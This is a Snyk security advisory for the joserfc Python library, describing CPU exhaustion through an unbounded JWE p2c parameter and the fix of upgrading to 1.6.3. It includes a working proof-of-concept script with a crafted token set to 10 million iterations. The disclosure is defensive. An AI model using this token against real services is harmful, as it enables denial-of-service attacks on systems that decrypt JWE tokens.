Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade joserfc to version 1.6.3 or higher.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the decrypt_cek function. An attacker can cause excessive CPU resource consumption by supplying a crafted JSON Web Encryption (JWE) token with an unbounded p2c parameter value, leading to prolonged processing times during decryption.
import time
from joserfc import jwe
from joserfc.jwk import OctKey
# Force joserfc to use local source if needed
# sys.path.insert(0, "src")
# Attacker-crafted token with 10 million iterations
# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.
token = "eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy"
key = OctKey.import_key(b"any-password")
t0 = time.perf_counter()
try:
# This call will hang the thread for seconds
jwe.decrypt_compact(token, key, algorithms=["PBES2-HS256+A128KW", "A128CBC-HS256"])
except Exception:
pass
print(f"Elapsed: {time.perf_counter() - t0:.2f}s")